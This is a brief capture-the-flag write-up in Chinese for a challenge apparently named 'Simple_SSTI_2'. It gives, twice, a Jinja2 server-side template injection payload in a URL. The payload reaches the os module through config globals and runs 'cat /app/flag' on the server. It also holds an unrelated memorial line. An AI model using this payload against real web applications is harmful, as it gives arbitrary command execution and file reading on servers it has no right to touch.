Simple_SSTI_2
先用简单的语句测试下,可以返回运算结果
再执行系统命令find找到flag文件后,直接cat
http://114.67.246.176:13466/?flag={{ config.__class__.__init__.__globals__['os'].popen('cat /app/flag').read() }}
MU5735 R.I.P
http://114.67.246.176:13466/?flag={{ config.__class__.__init__.__globals__['os'].popen('cat /app/flag').read() }}